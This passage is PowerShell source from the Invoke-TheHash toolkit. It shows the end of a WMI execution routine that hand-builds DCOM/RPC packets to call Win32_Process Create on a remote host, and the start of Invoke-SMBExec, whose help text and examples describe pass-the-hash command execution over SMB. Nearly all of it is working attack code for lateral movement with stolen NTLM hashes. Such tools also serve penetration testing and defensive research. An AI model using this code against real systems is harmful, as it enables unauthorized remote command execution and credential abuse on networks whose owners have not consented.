$WMI_client_stage_next = 'Request'\r\n                                $WMI_data = [System.BitConverter]::ToString($WMI_client_receive)\r\n                                $WMI_data = $WMI_data -replace \"-\",\"\"\r\n                                $OXID_index = $WMI_data.IndexOf($OXID)\r\n                                $OXID_bytes_index = $OXID_index / 2\r\n                                $IPID2 = $WMI_client_receive[($OXID_bytes_index + 16)..($OXID_bytes_index + 31)]\r\n                                $packet_rem_release = New-PacketDCOMRemRelease $causality_ID_bytes $object_UUID2 $IPID\r\n                                $stub_data = ConvertFrom-PacketOrderedDictionary $packet_rem_release\r\n                            }\r\n\r\n                            4\r\n                            {\r\n                                $sequence_number = 0x05,0x00,0x00,0x00\r\n                                $request_flags = 0x83\r\n                                $request_auth_padding = 4\r\n                                $request_call_ID = 0x07,0x00,0x00,0x00\r\n                                $request_context_ID = 0x00,0x00\r\n                                $request_opnum = 0x03,0x00\r\n                                $request_UUID = $object_UUID\r\n                                $WMI_client_stage_next = 'Request'\r\n                                $packet_rem_query_interface = New-PacketDCOMRemQueryInterface $causality_ID_bytes $IPID2 0x9e,0xc1,0xfc,0xc3,0x70,0xa9,0xd2,0x11,0x8b,0x5a,0x00,0xa0,0xc9,0xb7,0xc9,0xc4\r\n                                $stub_data = ConvertFrom-PacketOrderedDictionary $packet_rem_query_interface\r\n                            }\r\n\r\n                            5\r\n                            {\r\n                                $sequence_number = 0x06,0x00,0x00,0x00\r\n                                $request_flags = 0x83\r\n                                $request_auth_padding = 4\r\n                                $request_call_ID = 0x08,0x00,0x00,0x00\r\n                                $request_context_ID = 0x00,0x00\r\n                                $request_opnum = 0x03,0x00\r\n                                $request_UUID = $object_UUID\r\n                                $WMI_client_stage_next = 'AlterContext'\r\n                                $packet_rem_query_interface = New-PacketDCOMRemQueryInterface $causality_ID_bytes $IPID2 0x83,0xb2,0x96,0xb1,0xb4,0xba,0x1a,0x10,0xb6,0x9c,0x00,0xaa,0x00,0x34,0x1d,0x07\r\n                                $stub_data = ConvertFrom-PacketOrderedDictionary $packet_rem_query_interface\r\n                            }\r\n\r\n                            6\r\n                            {\r\n                                $sequence_number = 0x07,0x00,0x00,0x00\r\n                                $request_flags = 0x83\r\n                                $request_auth_padding = 0\r\n                                $request_call_ID = 0x09,0x00,0x00,0x00\r\n                                $request_context_ID = 0x04,0x00\r\n                                $request_opnum = 0x06,0x00\r\n                                $request_UUID = $IPID2\r\n                                $WMI_client_stage_next = 'Request'\r\n\r\n                                $stub_data = 0x05,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +\r\n                                                $causality_ID_bytes +\r\n                                                0x00,0x00,0x00,0x00,0x55,0x73,0x65,0x72,0x0d,0x00,0x00,0x00,0x1a,\r\n                                                0x00,0x00,0x00,0x0d,0x00,0x00,0x00,0x77,0x00,0x69,0x00,0x6e,0x00,\r\n                                                0x33,0x00,0x32,0x00,0x5f,0x00,0x70,0x00,0x72,0x00,0x6f,0x00,0x63,\r\n                                                0x00,0x65,0x00,0x73,0x00,0x73,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\r\n                                                0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,\r\n                                                0x00,0x00,0x00\r\n\r\n                            }\r\n\r\n                            7\r\n                            {\r\n                                $sequence_number = 0x08,0x00,0x00,0x00\r\n                                $request_flags = 0x83\r\n                                $request_auth_padding = 0\r\n                                $request_call_ID = 0x10,0x00,0x00,0x00\r\n                                $request_context_ID = 0x04,0x00\r\n                                $request_opnum = 0x06,0x00\r\n                                $request_UUID = $IPID2\r\n                                $WMI_client_stage_next = 'Request'\r\n\r\n                                $stub_data = 0x05,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +\r\n                                                $causality_ID_bytes +\r\n                                                0x00,0x00,0x00,0x00,0x55,0x73,0x65,0x72,0x0d,0x00,0x00,0x00,0x1a,\r\n                                                0x00,0x00,0x00,0x0d,0x00,0x00,0x00,0x77,0x00,0x69,0x00,0x6e,0x00,\r\n                                                0x33,0x00,0x32,0x00,0x5f,0x00,0x70,0x00,0x72,0x00,0x6f,0x00,0x63,\r\n                                                0x00,0x65,0x00,0x73,0x00,0x73,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\r\n                                                0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,\r\n                                                0x00,0x00,0x00\r\n\r\n                            }\r\n\r\n                            {$_ -ge 8}\r\n                            {\r\n                                $sequence_number = 0x09,0x00,0x00,0x00\r\n                                $request_auth_padding = 0\r\n                                $request_call_ID = 0x0b,0x00,0x00,0x00\r\n                                $request_context_ID = 0x04,0x00\r\n                                $request_opnum = 0x18,0x00\r\n                                $request_UUID = $IPID2\r\n                                [Byte[]]$stub_length = [System.BitConverter]::GetBytes($Command.Length + 1769)[0,1]\r\n                                [Byte[]]$stub_length2 = [System.BitConverter]::GetBytes($Command.Length + 1727)[0,1]\r\n                                [Byte[]]$stub_length3 = [System.BitConverter]::GetBytes($Command.Length + 1713)[0,1]\r\n                                [Byte[]]$command_length = [System.BitConverter]::GetBytes($Command.Length + 93)[0,1]\r\n                                [Byte[]]$command_length2 = [System.BitConverter]::GetBytes($Command.Length + 16)[0,1]\r\n                                [Byte[]]$command_bytes = [System.Text.Encoding]::UTF8.GetBytes($Command)\r\n\r\n\r\n                                # thanks to @vysec for finding a bug with certain command lengths\r\n                                [String]$command_padding_check = $Command.Length / 4\r\n                                \r\n                                if($command_padding_check -like \"*.75\")\r\n                                {\r\n                                    $command_bytes += 0x00\r\n                                }\r\n                                elseif($command_padding_check -like \"*.5\")\r\n                                {\r\n                                    $command_bytes += 0x00,0x00\r\n                                }\r\n                                elseif($command_padding_check -like \"*.25\")\r\n                                {\r\n                                    $command_bytes += 0x00,0x00,0x00\r\n                                }\r\n                                else\r\n                                {\r\n                                    $command_bytes += 0x00,0x00,0x00,0x00\r\n                                }\r\n                                \r\n                                $stub_data = 0x05,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +\r\n                                                $causality_ID_bytes +\r\n                                                0x00,0x00,0x00,0x00,0x55,0x73,0x65,0x72,0x0d,0x00,0x00,0x00,0x1a,\r\n                                                0x00,0x00,0x00,0x0d,0x00,0x00,0x00,0x57,0x00,0x69,0x00,0x6e,0x00,\r\n                                                0x33,0x00,0x32,0x00,0x5f,0x00,0x50,0x00,0x72,0x00,0x6f,0x00,0x63,\r\n                                                0x00,0x65,0x00,0x73,0x00,0x73,0x00,0x00,0x00,0x55,0x73,0x65,0x72,\r\n                                                0x06,0x00,0x00,0x00,0x0c,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x63,\r\n                                                0x00,0x72,0x00,0x65,0x00,0x61,0x00,0x74,0x00,0x65,0x00,0x00,0x00,\r\n                                                0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00 +\r\n                                                $stub_length +\r\n                                                0x00,0x00 +\r\n                                                $stub_length +\r\n                                                0x00,0x00,0x4d,0x45,0x4f,0x57,0x04,0x00,0x00,0x00,0x81,0xa6,0x12,\r\n                                                0xdc,0x7f,0x73,0xcf,0x11,0x88,0x4d,0x00,0xaa,0x00,0x4b,0x2e,0x24,\r\n                                                0x12,0xf8,0x90,0x45,0x3a,0x1d,0xd0,0x11,0x89,0x1f,0x00,0xaa,0x00,\r\n                                                0x4b,0x2e,0x24,0x00,0x00,0x00,0x00 +\r\n                                                $stub_length2 +\r\n                                                0x00,0x00,0x78,0x56,0x34,0x12 +\r\n                                                $stub_length3 +\r\n                                                0x00,0x00,0x02,0x53,\r\n                                                0x06,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0d,0x00,0x00,0x00,0x04,\r\n                                                0x00,0x00,0x00,0x0f,0x00,0x00,0x00,0x0e,0x00,0x00,0x00,0x00,0x0b,\r\n                                                0x00,0x00,0x00,0xff,0xff,0x03,0x00,0x00,0x00,0x2a,0x00,0x00,0x00,\r\n                                                0x15,0x01,0x00,0x00,0x73,0x01,0x00,0x00,0x76,0x02,0x00,0x00,0xd4,\r\n                                                0x02,0x00,0x00,0xb1,0x03,0x00,0x00,0x15,0xff,0xff,0xff,0xff,0xff,\r\n                                                0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x12,0x04,0x00,0x80,0x00,0x5f,\r\n                                                0x5f,0x50,0x41,0x52,0x41,0x4d,0x45,0x54,0x45,0x52,0x53,0x00,0x00,\r\n                                                0x61,0x62,0x73,0x74,0x72,0x61,0x63,0x74,0x00,0x08,0x00,0x00,0x00,\r\n                                                0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x00,\r\n                                                0x00,0x00,0x43,0x6f,0x6d,0x6d,0x61,0x6e,0x64,0x4c,0x69,0x6e,0x65,\r\n                                                0x00,0x00,0x73,0x74,0x72,0x69,0x6e,0x67,0x00,0x08,0x00,0x00,0x00,\r\n                                                0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x11,0x00,0x00,\r\n                                                0x00,0x0a,0x00,0x00,0x80,0x03,0x08,0x00,0x00,0x00,0x37,0x00,0x00,\r\n                                                0x00,0x00,0x49,0x6e,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\r\n                                                0x00,0x00,0x00,0x00,0x00,0x00,0x1c,0x00,0x00,0x00,0x0a,0x00,0x00,\r\n                                                0x80,0x03,0x08,0x00,0x00,0x00,0x37,0x00,0x00,0x00,0x5e,0x00,0x00,\r\n                                                0x00,0x02,0x0b,0x00,0x00,0x00,0xff,0xff,0x01,0x00,0x00,0x00,0x94,\r\n                                                0x00,0x00,0x00,0x00,0x57,0x69,0x6e,0x33,0x32,0x41,0x50,0x49,0x7c,\r\n                                                0x50,0x72,0x6f,0x63,0x65,0x73,0x73,0x20,0x61,0x6e,0x64,0x20,0x54,\r\n                                                0x68,0x72,0x65,0x61,0x64,0x20,0x46,0x75,0x6e,0x63,0x74,0x69,0x6f,\r\n                                                0x6e,0x73,0x7c,0x6c,0x70,0x43,0x6f,0x6d,0x6d,0x61,0x6e,0x64,0x4c,\r\n                                                0x69,0x6e,0x65,0x20,0x00,0x00,0x4d,0x61,0x70,0x70,0x69,0x6e,0x67,\r\n                                                0x53,0x74,0x72,0x69,0x6e,0x67,0x73,0x00,0x08,0x00,0x00,0x00,0x00,\r\n                                                0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x29,0x00,0x00,0x00,\r\n                                                0x0a,0x00,0x00,0x80,0x03,0x08,0x00,0x00,0x00,0x37,0x00,0x00,0x00,\r\n                                                0x5e,0x00,0x00,0x00,0x02,0x0b,0x00,0x00,0x00,0xff,0xff,0xca,0x00,\r\n                                                0x00,0x00,0x02,0x08,0x20,0x00,0x00,0x8c,0x00,0x00,0x00,0x00,0x49,\r\n                                                0x44,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\r\n                                                0x00,0x00,0x00,0x36,0x00,0x00,0x00,0x0a,0x00,0x00,0x80,0x03,0x08,\r\n                                                0x00,0x00,0x00,0x59,0x01,0x00,0x00,0x5e,0x00,0x00,0x00,0x00,0x0b,\r\n                                                0x00,0x00,0x00,0xff,0xff,0xca,0x00,0x00,0x00,0x02,0x08,0x20,0x00,\r\n                                                0x00,0x8c,0x00,0x00,0x00,0x11,0x01,0x00,0x00,0x11,0x03,0x00,0x00,\r\n                                                0x00,0x00,0x00,0x00,0x00,0x00,0x73,0x74,0x72,0x69,0x6e,0x67,0x00,\r\n                                                0x08,0x00,0x00,0x00,0x01,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,\r\n                                                0x00,0x04,0x00,0x00,0x00,0x00,0x43,0x75,0x72,0x72,0x65,0x6e,0x74,\r\n                                                0x44,0x69,0x72,0x65,0x63,0x74,0x6f,0x72,0x79,0x00,0x00,0x73,0x74,\r\n                                                0x72,0x69,0x6e,0x67,0x00,0x08,0x00,0x00,0x00,0x01,0x00,0x04,0x00,\r\n                                                0x00,0x00,0x00,0x00,0x00,0x00,0x11,0x00,0x00,0x00,0x0a,0x00,0x00,\r\n                                                0x80,0x03,0x08,0x00,0x00,0x00,0x85,0x01,0x00,0x00,0x00,0x49,0x6e,\r\n                                                0x00,0x08,0x00,0x00,0x00,0x01,0x00,0x04,0x00,0x00,0x00,0x00,0x00,\r\n                                                0x00,0x00,0x1c,0x00,0x00,0x00,0x0a,0x00,0x00,0x80,0x03,0x08,0x00,\r\n                                                0x00,0x00,0x85,0x01,0x00,0x00,0xac,0x01,0x00,0x00,0x02,0x0b,0x00,\r\n                                                0x00,0x00,0xff,0xff,0x01,0x00,0x00,0x00,0xe2,0x01,0x00,0x00,0x00,\r\n                                                0x57,0x69,0x6e,0x33,0x32,0x41,0x50,0x49,0x7c,0x50,0x72,0x6f,0x63,\r\n                                                0x65,0x73,0x73,0x20,0x61,0x6e,0x64,0x20,0x54,0x68,0x72,0x65,0x61,\r\n                                                0x64,0x20,0x46,0x75,0x6e,0x63,0x74,0x69,0x6f,0x6e,0x73,0x7c,0x43,\r\n                                                0x72,0x65,0x61,0x74,0x65,0x50,0x72,0x6f,0x63,0x65,0x73,0x73,0x7c,\r\n                                                0x6c,0x70,0x43,0x75,0x72,0x72,0x65,0x6e,0x74,0x44,0x69,0x72,0x65,\r\n                                                0x63,0x74,0x6f,0x72,0x79,0x20,0x00,0x00,0x4d,0x61,0x70,0x70,0x69,\r\n                                                0x6e,0x67,0x53,0x74,0x72,0x69,0x6e,0x67,0x73,0x00,0x08,0x00,0x00,\r\n                                                0x00,0x01,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x29,0x00,\r\n                                                0x00,0x00,0x0a,0x00,0x00,0x80,0x03,0x08,0x00,0x00,0x00,0x85,0x01,\r\n                                                0x00,0x00,0xac,0x01,0x00,0x00,0x02,0x0b,0x00,0x00,0x00,0xff,0xff,\r\n                                                0x2b,0x02,0x00,0x00,0x02,0x08,0x20,0x00,0x00,0xda,0x01,0x00,0x00,\r\n                                                0x00,0x49,0x44,0x00,0x08,0x00,0x00,0x00,0x01,0x00,0x04,0x00,0x00,\r\n                                                0x00,0x00,0x00,0x00,0x00,0x36,0x00,0x00,0x00,0x0a,0x00,0x00,0x80,\r\n                                                0x03,0x08,0x00,0x00,0x00,0xba,0x02,0x00,0x00,0xac,0x01,0x00,0x00,\r\n                                                0x00,0x0b,0x00,0x00,0x00,0xff,0xff,0x2b,0x02,0x00,0x00,0x02,0x08,\r\n                                                0x20,0x00,0x00,0xda,0x01,0x00,0x00,0x72,0x02,0x00,0x00,0x11,0x03,\r\n                                                0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x73,0x74,0x72,0x69,0x6e,\r\n                                                0x67,0x00,0x0d,0x00,0x00,0x00,0x02,0x00,0x08,0x00,0x00,0x00,0x00,\r\n                                                0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x50,0x72,0x6f,0x63,0x65,\r\n                                                0x73,0x73,0x53,0x74,0x61,0x72,0x74,0x75,0x70,0x49,0x6e,0x66,0x6f,\r\n                                                0x72,0x6d,0x61,0x74,0x69,0x6f,0x6e,0x00,0x00,0x6f,0x62,0x6a,0x65,\r\n                                                0x63,0x74,0x00,0x0d,0x00,0x00,0x00,0x02,0x00,0x08,0x00,0x00,0x00,\r\n                                                0x00,0x00,0x00,0x00,0x11,0x00,0x00,0x00,0x0a,0x00,0x00,0x80,0x03,\r\n                                                0x08,0x00,0x00,0x00,0xef,0x02,0x00,0x00,0x00,0x49,0x6e,0x00,0x0d,\r\n                                                0x00,0x00,0x00,0x02,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\r\n                                                0x1c,0x00,0x00,0x00,0x0a,0x00,0x00,0x80,0x03,0x08,0x00,0x00,0x00,\r\n                                                0xef,0x02,0x00,0x00,0x16,0x03,0x00,0x00,0x02,0x0b,0x00,0x00,0x00,\r\n                                                0xff,0xff,0x01,0x00,0x00,0x00,0x4c,0x03,0x00,0x00,0x00,0x57,0x4d,\r\n                                                0x49,0x7c,0x57,0x69,0x6e,0x33,0x32,0x5f,0x50,0x72,0x6f,0x63,0x65,\r\n                                                0x73,0x73,0x53,0x74,0x61,0x72,0x74,0x75,0x70,0x00,0x00,0x4d,0x61,\r\n                                                0x70,0x70,0x69,0x6e,0x67,0x53,0x74,0x72,0x69,0x6e,0x67,0x73,0x00,\r\n                                                0x0d,0x00,0x00,0x00,0x02,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00,\r\n                                                0x00,0x29,0x00,0x00,0x00,0x0a,0x00,0x00,0x80,0x03,0x08,0x00,0x00,\r\n                                                0x00,0xef,0x02,0x00,0x00,0x16,0x03,0x00,0x00,0x02,0x0b,0x00,0x00,\r\n                                                0x00,0xff,0xff,0x66,0x03,0x00,0x00,0x02,0x08,0x20,0x00,0x00,0x44,\r\n                                                0x03,0x00,0x00,0x00,0x49,0x44,0x00,0x0d,0x00,0x00,0x00,0x02,0x00,\r\n                                                0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x36,0x00,0x00,0x00,0x0a,\r\n                                                0x00,0x00,0x80,0x03,0x08,0x00,0x00,0x00,0xf5,0x03,0x00,0x00,0x16,\r\n                                                0x03,0x00,0x00,0x00,0x0b,0x00,0x00,0x00,0xff,0xff,0x66,0x03,0x00,\r\n                                                0x00,0x02,0x08,0x20,0x00,0x00,0x44,0x03,0x00,0x00,0xad,0x03,0x00,\r\n                                                0x00,0x11,0x03,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x6f,0x62,\r\n                                                0x6a,0x65,0x63,0x74,0x3a,0x57,0x69,0x6e,0x33,0x32,0x5f,0x50,0x72,\r\n                                                0x6f,0x63,0x65,0x73,0x73,0x53,0x74,0x61,0x72,0x74,0x75,0x70 +\r\n                                                (,0x00 * 501) +\r\n                                                $command_length +\r\n                                                0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3c,0x0e,0x00,0x00,0x00,0x00,\r\n                                                0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x01 +\r\n                                                $command_length2 +\r\n                                                0x00,0x80,0x00,0x5f,0x5f,0x50,0x41,0x52,0x41,0x4d,0x45,0x54,0x45,\r\n                                                0x52,0x53,0x00,0x00 +\r\n                                                $command_bytes +\r\n                                                0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\r\n                                                0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\r\n                                                0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\r\n                                                0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x02,0x00,0x00,0x00,\r\n                                                0x00,0x00,0x00,0x00,0x00,0x00\r\n                                \r\n                                if($Stub_data.Length -lt $request_split_index)\r\n                                {\r\n                                    $request_flags = 0x83\r\n                                    $WMI_client_stage_next = 'Result'\r\n                                }\r\n                                else\r\n                                {\r\n                                    $request_split = $true\r\n                                    $request_split_stage_final = [Math]::Ceiling($stub_data.Length / $request_split_index)\r\n\r\n                                    if($request_split_stage -lt 2)\r\n                                    {\r\n                                        $request_length = $stub_data.Length\r\n                                        $stub_data = $stub_data[0..($request_split_index - 1)]\r\n                                        $request_split_stage = 2\r\n                                        $sequence_number_counter = 10\r\n                                        $request_flags = 0x81\r\n                                        $request_split_index_tracker = $request_split_index\r\n                                        $WMI_client_stage_next = 'Request'\r\n                                    }\r\n                                    elseif($request_split_stage -eq $request_split_stage_final)\r\n                                    {\r\n                                        $request_split = $false\r\n                                        $sequence_number = [System.BitConverter]::GetBytes($sequence_number_counter)\r\n                                        $request_split_stage = 0\r\n                                        $stub_data = $stub_data[$request_split_index_tracker..$stub_data.Length]\r\n                                        $request_flags = 0x82\r\n                                        $WMI_client_stage_next = 'Result'\r\n                                    }\r\n                                    else\r\n                                    {\r\n                                        $request_length = $stub_data.Length - $request_split_index_tracker\r\n                                        $stub_data = $stub_data[$request_split_index_tracker..($request_split_index_tracker + $request_split_index - 1)]\r\n                                        $request_split_index_tracker += $request_split_index\r\n                                        $request_split_stage++\r\n                                        $sequence_number = [System.BitConverter]::GetBytes($sequence_number_counter)\r\n                                        $sequence_number_counter++\r\n                                        $request_flags = 0x80\r\n                                        $WMI_client_stage_next = 'Request'\r\n                                    }\r\n\r\n                                }\r\n\r\n                            }\r\n\r\n                        }\r\n\r\n                        $packet_RPC = New-PacketRPCRequest $request_flags $stub_data.Length 16 $request_auth_padding $request_call_ID $request_context_ID $request_opnum $request_UUID\r\n\r\n                        if($request_split)\r\n                        {\r\n                            $packet_RPC[\"AllocHint\"] = [System.BitConverter]::GetBytes($request_length)\r\n                        }\r\n\r\n                        $packet_NTLMSSP_verifier = New-PacketNTLMSSPVerifier $request_auth_padding 0x04 $sequence_number\r\n                        $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC\r\n                        $NTLMSSP_verifier = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_verifier \r\n                        $RPC_signature = $HMAC_MD5.ComputeHash($sequence_number + $RPC + $stub_data + $NTLMSSP_verifier[0..($request_auth_padding + 7)])\r\n                        $RPC_signature = $RPC_signature[0..7]\r\n                        $packet_NTLMSSP_verifier[\"NTLMSSPVerifierChecksum\"] = $RPC_signature\r\n                        $NTLMSSP_verifier = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_verifier\r\n                        $WMI_client_send = $RPC + $stub_data + $NTLMSSP_verifier\r\n                        $WMI_client_random_port_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null\r\n                        $WMI_client_random_port_stream.Flush()\r\n\r\n                        if(!$request_split)\r\n                        {\r\n                            $WMI_client_random_port_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null\r\n                        }\r\n\r\n                        while($WMI_client_random_port_stream.DataAvailable)\r\n                        {\r\n                            $WMI_client_random_port_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null\r\n                            Start-Sleep -m $Sleep\r\n                        }\r\n\r\n                        $WMI_client_stage = $WMI_client_stage_next\r\n                    }\r\n\r\n                    'Result'\r\n                    {\r\n\r\n                        while($WMI_client_random_port_stream.DataAvailable)\r\n                        {\r\n                            $WMI_client_random_port_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null\r\n                            Start-Sleep -m $Sleep\r\n                        }\r\n\r\n                        if($WMI_client_receive[1145] -ne 9)\r\n                        { \r\n                            $target_process_ID = Get-UInt16DataLength 1141 $WMI_client_receive\r\n                            Write-Output \"[+] Command executed with process ID $target_process_ID on $target_long\"\r\n                        }\r\n                        else\r\n                        {\r\n                            Write-Output \"[-] Process did not start, check your command\"\r\n                        }\r\n\r\n                        $WMI_client_stage = 'Exit'\r\n                    }\r\n\r\n                }\r\n\r\n                Start-Sleep -m $Sleep\r\n            \r\n            }\r\n\r\n            $WMI_client_random_port.Close()\r\n            $WMI_client_random_port_stream.Close()\r\n        }\r\n\r\n        $WMI_client.Close()\r\n        $WMI_client_stream.Close()\r\n    }\r\n\r\n}\r\n\r\n}\r\n\r\n\r\n\r\nfunction Invoke-SMBExec\r\n{\r\n<#\r\n.SYNOPSIS\r\nInvoke-SMBExec performs SMBExec style command execution with NTLMv2 pass the hash authentication. Invoke-SMBExec\r\nsupports SMB1 and SMB2.1 with and without SMB signing.\r\n\r\nAuthor: Kevin Robertson (@kevin_robertson)\r\nLicense: BSD 3-Clause\r\n\r\n.PARAMETER Target\r\nHostname or IP address of target.\r\n\r\n.PARAMETER Username\r\nUsername to use for authentication.\r\n\r\n.PARAMETER Domain\r\nDomain to use for authentication. This parameter is not needed with local accounts or when using @domain after the\r\nusername.\r\n\r\n.PARAMETER Hash\r\nNTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format.\r\n\r\n.PARAMETER Command\r\nCommand to execute on the target. If a command is not specified, the function will check to see if the username\r\nand hash provides local administrator access on the target.\r\n\r\n.PARAMETER CommandCOMSPEC\r\nDefault = Enabled: Prepend %COMSPEC% /C to Command.\r\n\r\n.PARAMETER Service\r\nDefault = 20 Character Random: Name of the service to create and delete on the target.\r\n\r\n.PARAMETER Sleep\r\nDefault = 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try tweaking this\r\nsetting if you are experiencing strange results.\r\n\r\n.PARAMETER Session\r\nInveigh-Relay authenticated session.\r\n\r\n.PARAMETER Version\r\nDefault = Auto: (Auto,1,2.1) Force SMB version. The default behavior is to perform SMB version negotiation and use SMB2.1 if supported by the\r\ntarget.\r\n\r\n.EXAMPLE\r\nExecute a command.\r\nInvoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command \"command or launcher to execute\" -verbose\r\n\r\n.EXAMPLE\r\nCheck command execution privilege.\r\nInvoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0\r\n\r\n.EXAMPLE\r\nExecute a command using an authenticated Inveigh-Relay session.\r\nInvoke-SMBExec -Session 1 -Command \"command or launcher to execute\"\r\n\r\n.EXAMPLE\r\nCheck if SMB signing is required.\r\nInvoke-SMBExec -Target 192.168.100.20\r\n\r\n.LINK\r\nhttps://github.com/Kevin-Robertson/Invoke-TheHash\r\n\r\n#>\r\n[CmdletBinding(DefaultParametersetName='Default')]\r\nparam\r\n(\r\n    [parameter(Mandatory=$false)][String]$Target,\r\n    [parameter(ParameterSetName='Auth',Mandatory=$true)][String]$Username,\r\n    [parameter(ParameterSetName='Auth',Mandatory=$false)][String]$Domain,\r\n    [parameter(Mandatory=$false)][String]$Command,\r\n    [parameter(Mandatory=$false)][ValidateSet(\"Y\",\"N\")][String]$CommandCOMSPEC=\"Y\",\r\n    [parameter(ParameterSetName='Auth',Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash,\r\n    [parameter(Mandatory=$false)][String]$Service,\r\n    [parameter(Mandatory=$false)][ValidateSet(\"Auto\",\"1\",\"2.1\")][String]$Version=\"Auto\",\r\n    [parameter(ParameterSetName='Session',Mandatory=$false)][Int]$Session,\r\n    [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Logoff,\r\n    [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Refresh,\r\n    [parameter(Mandatory=$false)][Int]$Sleep=150\r\n)\r\n\r\nif($PsCmdlet.ParameterSetName -ne 'Session' -and !$Target)\r\n{\r\n    Write-Output \"[-] Target is required when not using -Session\"\r\n    throw\r\n}\r\n\r\nif($Command)\r\n{\r\n    $SMB_execute = $true\r\n}\r\n\r\nif($Version -eq '1')\r\n{\r\n    $SMB_version = 'SMB1'\r\n}\r\nelseif($Version -eq '2.1')\r\n{\r\n    $SMB_version = 'SMB2.1'\r\n}\r\n\r\nif($PsCmdlet.ParameterSetName -ne 'Auth' -and $PsCmdlet.ParameterSetName -ne 'Session')\r\n{\r\n    $signing_check = $true\r\n}\r\n\r\nfunction ConvertFrom-PacketOrderedDictionary\r\n{\r\n    param($OrderedDictionary)\r\n\r\n    ForEach($field in $OrderedDictionary.Values)\r\n    {\r\n        $byte_array += $field\r\n    }\r\n\r\n    return $byte_array\r\n}\r\n\r\n#NetBIOS\r\n\r\nfunction New-PacketNetBIOSSessionService\r\n{\r\n    param([Int]$HeaderLength,[Int]$DataLength)\r\n\r\n    [Byte[]]$length = ([System.BitConverter]::GetBytes($HeaderLength + $DataLength))[2..0]\r\n\r\n    $NetBIOSSessionService = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $NetBIOSSessionService.Add(\"MessageType\",[Byte[]](0x00))\r\n    $NetBIOSSessionService.Add(\"Length\",$length)\r\n\r\n    return $NetBIOSSessionService\r\n}\r\n\r\n#SMB1\r\n\r\nfunction New-PacketSMBHeader\r\n{\r\n    param([Byte[]]$Command,[Byte[]]$Flags,[Byte[]]$Flags2,[Byte[]]$TreeID,[Byte[]]$ProcessID,[Byte[]]$UserID)\r\n\r\n    $ProcessID = $ProcessID[0,1]\r\n\r\n    $SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $SMBHeader.Add(\"Protocol\",[Byte[]](0xff,0x53,0x4d,0x42))\r\n    $SMBHeader.Add(\"Command\",$Command)\r\n    $SMBHeader.Add(\"ErrorClass\",[Byte[]](0x00))\r\n    $SMBHeader.Add(\"Reserved\",[Byte[]](0x00))\r\n    $SMBHeader.Add(\"ErrorCode\",[Byte[]](0x00,0x00))\r\n    $SMBHeader.Add(\"Flags\",$Flags)\r\n    $SMBHeader.Add(\"Flags2\",$Flags2)\r\n    $SMBHeader.Add(\"ProcessIDHigh\",[Byte[]](0x00,0x00))\r\n    $SMBHeader.Add(\"Signature\",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n    $SMBHeader.Add(\"Reserved2\",[Byte[]](0x00,0x00))\r\n    $SMBHeader.Add(\"TreeID\",$TreeID)\r\n    $SMBHeader.Add(\"ProcessID\",$ProcessID)\r\n    $SMBHeader.Add(\"UserID\",$UserID)\r\n    $SMBHeader.Add(\"MultiplexID\",[Byte[]](0x00,0x00))\r\n\r\n    return $SMBHeader\r\n}\r\nfunction New-PacketSMBNegotiateProtocolRequest\r\n{\r\n    param([String]$Version)\r\n\r\n    if($Version -eq 'SMB1')\r\n    {\r\n        [Byte[]]$byte_count = 0x0c,0x00\r\n    }\r\n    else\r\n    {\r\n        [Byte[]]$byte_count = 